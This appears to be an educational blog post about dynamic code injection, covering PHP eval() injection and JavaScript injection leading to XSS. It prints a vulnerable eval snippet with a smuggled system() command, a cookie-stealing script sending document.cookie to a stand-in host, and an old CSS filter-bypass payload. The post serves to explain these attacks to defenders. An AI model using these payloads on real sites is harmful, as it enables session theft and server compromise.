In a previous blog post I discussed about a critical class of web attacks known as code injection attacks. In particular, I presented a subset of such attacks where target entities exist on the server. Here we will talk about the emerging subset of dynamic code injection attacks, which, except for server-side entities, threaten network-oriented applications hosted in a client machine, such as the browser and messaging applications.

Python, Perl and PHP are languages that have the capability of interpreting themselves and execute code through a method called eval. Specifically, eval is a function which evaluates a string as though it were an expression and returns a result; A simple example of a dynamic language-driven attack is an input string that is fed into an eval() function call, e.g., in PHP:

$variable = $_GET[’var’];
$input = $_GET[’value’];
eval(’$variable = ’ . $input . ’;’);

Keep in mind that in PHP, the predefined $_GET variable is used to collect values in an HTML form with method="get". In this case, the user may pass into the value parameter, code that will execute in the server. If value is 10; system (’’touch foo’’); then a file will be created on the server; it is easy to imagine more detrimental instances.

Now let’s see how such attacks can affect the client’s side. From man in the browser (MitB) attacks to cross-site request forgery (CSRF) attacks, the client’s side suffers from a wide range of security issues. The majority of such attacks involve one basic vector: JavaScript. Attackers are motivated by the fact that JavaScript is executed as a browser component and enables access to critical objects within the browser. By taking advantage of unchecked assumptions web pages make about their inputs and by bypassing the security mechanisms integrated within the browser, malicious users can inject their JavaScript code into the users’ browser. As a result, they can access sensitive user data or manipulate HTTP methods to their own end.

A JavaScript injection vulnerability is manifested when a web application accepts and redisplays data of uncertain origin. Many web sites allow registered users to post data, which are stored on the server-side (i.e. a third-party comment on a blog page). If attackers hide a script in such data, they could manipulate the browser of another users. For example consider the following code snippet:

<script type="text/javascript">
document.location=’http://host.example/cgi-
bin/cookiestealing.cgi?’+document.cookie

If a malicious user could post data containing the above script, web users reading this data could have their cookies stolen. Through this script the attacker calls an external CGI (common gateway interface) script and passes all the cookies associated with the current document to it as an argument via the document.cookie property. A common but rough way to stop malicious behaviors like this is server-side code filtering (i.e. the server strips out the word “javascript” from any external source). Still, there are many ways to bypass such defense mechanisms. For example, one could take advantage of issues in the implementation of CSS (cascading style sheets) rendering engines of browsers like Internet Explorer (versions prior to 7). Consider the case where an attacker manages to hide the following code fragment in the CSS of a web page:

<div id=code style="background:url('java
script:eval(document.all.code.expr)')"
expr="alert('xss')"></div>

The attacker utilizes the eval function and a newline character (“java\nscript”) to bypass the security checks measures and manoeuvre the user’s browser to execute the code contained in the expr variable. This is done by using the document.all array that contains all of the elements within a document. Malicious users can also use eval to assemble innocuous-looking parts into harmful strings that the protecting mechanisms of a web page would normally consider dangerous and remove.

JavaScript injection attacks are considered as a critical issue in web application security mainly because they are associated with major vulnerabilities such as: Cross-Site Scripting (XSS) attacks and Cross-Channel Scripting (XCS) attacks. For mitigating such vulnerabilities you can check this wonderful survey.